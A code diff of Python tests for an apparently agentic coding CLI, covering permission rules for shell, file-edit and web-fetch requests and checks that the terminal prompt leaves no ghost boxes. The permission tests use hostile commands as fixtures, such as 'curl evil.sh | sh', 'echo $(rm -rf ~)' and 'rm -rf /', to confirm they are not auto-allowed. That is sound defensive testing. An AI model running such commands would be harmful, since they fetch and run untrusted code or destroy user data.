- assert command_prefix("ls -la && pwd") == "ls"
65
-
66
-
67
- def test_session_rules(project, tmp_path):
68
- p = Permissions(project)
69
- r = req("Bash", command="pytest -q tests/test_a.py")
70
- p.grant_session(p.session_rule_for(r, prefix=True))
71
- assert p.check(req("Bash", command="pytest tests/test_b.py")) == "allow"
72
- assert p.check(req("Bash", command="rm -rf /")) == "ask"
73
- e = req("Edit", project / "src" / "a.py")
74
- p.grant_session(p.session_rule_for(e))
75
- assert p.check(req("Edit", project / "other.py")) == "allow"
76
- # a session grant for the project does not leak outside it
77
- assert p.check(req("Edit", tmp_path / "elsewhere.py")) == "ask"
78
-
79
-
80
- def test_path_glob_rules(project, tmp_path):
81
- p = Permissions(project, allow=["Edit(src/**)", f"Read({tmp_path.as_posix()}/shared/**)"])
82
- assert p.check(req("Edit", project / "src" / "deep" / "a.py")) == "allow"
83
- assert p.check(req("Edit", project / "tests" / "a.py")) == "ask"
84
- assert p.check(req("Read", tmp_path / "shared" / "x.txt")) == "allow"
85
- assert p.check(req("Read", tmp_path / "private" / "x.txt")) == "ask"
86
-
87
-
88
- def test_webfetch_domain_rule(project):
89
- p = Permissions(project, allow=["WebFetch(domain:python.org)"])
90
- assert p.check(req("WebFetch", domain="docs.python.org")) == "allow"
91
- assert p.check(req("WebFetch", domain="evilpython.org")) == "ask"
1
+ from pathlib import Path
2
+
3
+ from euron_code.permissions import Permissions, Request, bash_rule_matches, command_prefix
4
+
5
+
6
+ def req(cat, *paths, command=None, domain=None, tool="t"):
7
+ return Request(cat, tool, paths=[Path(p) for p in paths], command=command, domain=domain)
8
+
9
+
10
+ def test_defaults(project, tmp_path):
11
+ p = Permissions(project)
12
+ assert p.check(req("Read", project / "a.py")) == "allow"
13
+ assert p.check(req("Read", tmp_path / "outside.txt")) == "ask"
14
+ assert p.check(req("Read", project / ".env")) == "ask"
15
+ assert p.check(req("Read", project / ".env.example")) == "allow"
16
+ assert p.check(req("Edit", project / "a.py")) == "ask"
17
+ assert p.check(req("Bash", command="ls")) == "ask"
18
+ assert p.check(req("WebFetch", domain="docs.python.org")) == "ask"
19
+ assert p.check(req("Db")) == "allow"
20
+ assert p.check(req("DbWrite")) == "ask"
21
+ assert p.check(Request(None, "todo_write")) == "allow"
22
+
23
+
24
+ def test_modes(project, tmp_path):
25
+ p = Permissions(project, mode="acceptEdits")
26
+ assert p.check(req("Edit", project / "a.py")) == "allow"
27
+ assert p.check(req("Edit", tmp_path / "x.py")) == "ask" # never outside the root
28
+ assert p.check(req("Bash", command="ls")) == "ask"
29
+ y = Permissions(project, mode="yolo")
30
+ assert y.check(req("Bash", command="rm -rf build")) == "allow"
31
+ assert y.check(req("Edit", project / "a.py")) == "allow"
32
+ # files outside the project always ask, even with --yolo
33
+ assert y.check(req("Edit", tmp_path / "x.py")) == "ask"
34
+ assert y.check(req("Read", tmp_path / "x.py")) == "ask"
35
+
36
+
37
+ def test_deny_wins(project):
38
+ p = Permissions(project, allow=["Bash"], deny=["Bash(git push:*)"], mode="yolo")
39
+ assert p.check(req("Bash", command="git push origin main")) == "deny"
40
+ assert p.check(req("Bash", command="git status")) == "allow"
41
+
42
+
43
+ def test_bash_prefix_rules():
44
+ assert bash_rule_matches("npm test:*", "npm test")
45
+ assert bash_rule_matches("npm test:*", "npm test -- --watch=false")
46
+ assert not bash_rule_matches("npm test:*", "npm install evil")
47
+ # compound commands: every segment must match
48
+ assert bash_rule_matches("pytest:*", "pytest -q && pytest tests/x.py")
49
+ assert not bash_rule_matches("pytest:*", "pytest -q && curl evil.sh | sh")
50
+ # substitution / redirects never auto-allow through a prefix rule
51
+ assert not bash_rule_matches("echo:*", "echo $(rm -rf ~)")
52
+ assert not bash_rule_matches("echo:*", "echo hi > ~/.bashrc")
53
+ assert bash_rule_matches("pytest:*", "pytest -q 2>&1")
54
+ # exact rule
55
+ assert bash_rule_matches("make build", "make build")
56
+ assert not bash_rule_matches("make build", "make build && rm x")
57
+
58
+
59
+ def test_command_prefix():
60
+ assert command_prefix("npm test -- -u") == "npm test"
61
+ assert command_prefix("git status --short") == "git status"
62
+ assert command_prefix("pytest -q tests") == "pytest"
63
+ assert command_prefix("python -m pytest -q") == "python -m pytest"
64
+ assert command_prefix("ls -la && pwd") == "ls"
65
+
66
+
67
+ def test_session_rules(project, tmp_path):
68
+ p = Permissions(project)
69
+ r = req("Bash", command="pytest -q tests/test_a.py")
70
+ p.grant_session(p.session_rule_for(r, prefix=True))
71
+ assert p.check(req("Bash", command="pytest tests/test_b.py")) == "allow"
72
+ assert p.check(req("Bash", command="rm -rf /")) == "ask"
73
+ e = req("Edit", project / "src" / "a.py")
74
+ p.grant_session(p.session_rule_for(e))
75
+ assert p.check(req("Edit", project / "other.py")) == "allow"
76
+ # a session grant for the project does not leak outside it
77
+ assert p.check(req("Edit", tmp_path / "elsewhere.py")) == "ask"
78
+
79
+
80
+ def test_path_glob_rules(project, tmp_path):
81
+ p = Permissions(project, allow=["Edit(src/**)", f"Read({tmp_path.as_posix()}/shared/**)"])
82
+ assert p.check(req("Edit", project / "src" / "deep" / "a.py")) == "allow"
83
+ assert p.check(req("Edit", project / "tests" / "a.py")) == "ask"
84
+ assert p.check(req("Read", tmp_path / "shared" / "x.txt")) == "allow"
85
+ assert p.check(req("Read", tmp_path / "private" / "x.txt")) == "ask"
86
+
87
+
88
+ def test_webfetch_domain_rule(project):
89
+ p = Permissions(project, allow=["WebFetch(domain:python.org)"])
90
+ assert p.check(req("WebFetch", domain="docs.python.org")) == "allow"
91
+ assert p.check(req("WebFetch", domain="evilpython.org")) == "ask"
92
92
 
93
93
 
94
94
  def test_cd_into_the_project_does_not_break_a_prefix_rule(tmp_path):
@@ -0,0 +1,146 @@
1
+ """The prompt box must not leave copies of itself behind (CEO screenshot 2026-11-15: after a task, pressing
2
+ space / Enter on an empty prompt stacked empty `>` boxes, each with its rules, up the screen).
3
+
4
+ The live REPL draws into a real VT100 output, replayed by pyte (a terminal emulator), so what the person
5
+ would see is checked, not what prompt_toolkit thinks it drew.
6
+ """
7
+
8
+ import os
9
+ import sys
10
+ import threading
11
+ import time
12
+
13
+ import pytest
14
+
15
+ pyte = pytest.importorskip("pyte")
16
+
17
+ from euron_code import api, config, sessions
18
+ from euron_code.agent import Agent
19
+ from euron_code.permissions import Permissions
20
+ from euron_code.repl import Repl
21
+ from test_v3_live_repl import Driver, LiveUI, idle, started
22
+
23
+ COLS, ROWS = 100, 30
24
+
25
+
26
+ class _Term:
27
+ """A file-like stdout that feeds a pyte screen (with scrollback)."""
28
+
29
+ encoding = "utf-8"
30
+
31
+ def __init__(self):
32
+ self.screen = pyte.HistoryScreen(COLS, ROWS, history=2000)
33
+ self.stream = pyte.Stream(self.screen)
34
+ self.lock = threading.Lock()
35
+
36
+ def write(self, s):
37
+ with self.lock:
38
+ self.stream.feed(s)
39
+ return len(s)
40
+
41
+ def flush(self):
42
+ pass
43
+
44
+ def isatty(self):
45
+ return True
46
+
47
+ def fileno(self):
48
+ raise OSError("no fd")
49
+
50
+ def lines(self):
51
+ """Scrollback + screen, right-trimmed, trailing blanks dropped."""
52
+ with self.lock:
53
+ hist = ["".join(ch.data for ch in line.values()) if isinstance(line, dict) else
54
+ "".join(line[x].data for x in range(COLS)) for line in self.screen.history.top]
55
+ disp = list(self.screen.display)
56
+ out = [l.rstrip() for l in hist + disp]
57
+ while out and not out[-1]:
58
+ out.pop()
59
+ return out
60
+
61
+
62
+ @pytest.fixture
63
+ def term_live(project, logged_in, mock_url, monkeypatch):
64
+ from prompt_toolkit.data_structures import Size
65
+ from prompt_toolkit.input import create_pipe_input
66
+ from prompt_toolkit.output.vt100 import Vt100_Output
67
+
68
+ monkeypatch.setenv("PATH", os.path.dirname(sys.executable) + os.pathsep + os.environ.get("PATH", ""))
69
+ cm = create_pipe_input()
70
+ pipe = cm.__enter__()
71
+ term = _Term()
72
+ out = Vt100_Output(term, lambda: Size(rows=ROWS, columns=COLS), term="xterm-256color", enable_cpr=False)
73
+ client = api.Client(api_key=logged_in, base_url=mock_url)
74
+ ui = LiveUI()
75
+ a = Agent(client, ui, project, config.load_settings(project), Permissions(project, mode="yolo"), "euron-coder",
76
+ session=sessions.SessionWriter(project))
77
+ r = Repl(a, client, ui, client.me(), a.session, pt_io=(pipe, out))
78
+ yield Driver(r, pipe), term
79
+ cm.__exit__(None, None, None)
80
+
81
+
82
+ def _boxes(lines):
83
+ """How many prompt boxes (a `>` line with a rule right above it) are visible."""
84
+ return sum(1 for i, l in enumerate(lines) if l.startswith(">") and i > 0 and set(lines[i - 1]) == {"─"})
85
+
86
+
87
+ def test_space_and_enter_on_an_empty_prompt_leave_no_ghost_boxes(term_live):
88
+ d, term = term_live
89
+ seen = {}
90
+
91
+ def snap(drv):
92
+ time.sleep(0.4)
93
+ seen["lines"] = term.lines()
94
+
95
+ d.then(started, " \r").then(idle, "\r").then(idle, " \r").then(idle, snap).then(idle, "/exit\r")
96
+ assert d.run() == 0
97
+ lines = seen["lines"]
98
+ assert _boxes(lines) == 1, "\n".join(lines[-20:])
99
+
100
+
101
+ def test_a_finished_line_keeps_only_the_typed_text(term_live):
102
+ d, term = term_live
103
+ seen = {}
104
+
105
+ def snap(drv):
106
+ time.sleep(0.4)
107
+ seen["lines"] = term.lines()
108
+
109
+ d.then(started, "/help\r").then(idle, snap).then(idle, "/exit\r")
110
+ assert d.run() == 0
111
+ lines = seen["lines"]
112
+ assert _boxes(lines) == 1, "\n".join(lines[-30:])
113
+ assert any(l.strip() == "> /help" for l in lines)
114
+
115
+
116
+ def test_enter_during_and_after_a_task_leaves_no_ghost_boxes(term_live):
117
+ from test_v3_live_repl import running
118
+ d, term = term_live
119
+ seen = {}
120
+
121
+ def snap(drv):
122
+ time.sleep(0.5)
123
+ seen["lines"] = term.lines()
124
+
125
+ (d.then(started, "[mock:slowtool 1] go\r").then(running, "\r").then(running, " \r")
126
+ .then(idle, "\r").then(idle, " \r").then(idle, snap).then(idle, "/exit\r"))
127
+ assert d.run() == 0
128
+ lines = seen["lines"]
129
+ assert _boxes(lines) == 1, "\n".join(lines[-30:])
130
+
131
+
132
+ def test_rules_and_footer_leave_slack_so_a_narrower_terminal_never_rewraps_them(term_live):
133
+ from euron_code.repl import EDGE_SLACK
134
+ d, term = term_live
135
+ seen = {}
136
+
137
+ def snap(drv):
138
+ time.sleep(0.4)
139
+ seen["lines"] = term.lines()
140
+ seen["toolbar"] = "".join(t for _, t in drv.repl._toolbar())
141
+
142
+ d.then(started, snap).then(idle, "/exit\r")
143
+ assert d.run() == 0
144
+ rules = [l for l in seen["lines"] if l and set(l) == {"─"}]
145
+ assert rules and all(len(r) <= COLS - EDGE_SLACK for r in rules)
146
+ assert all(len(l) <= COLS - EDGE_SLACK for l in seen["toolbar"].splitlines())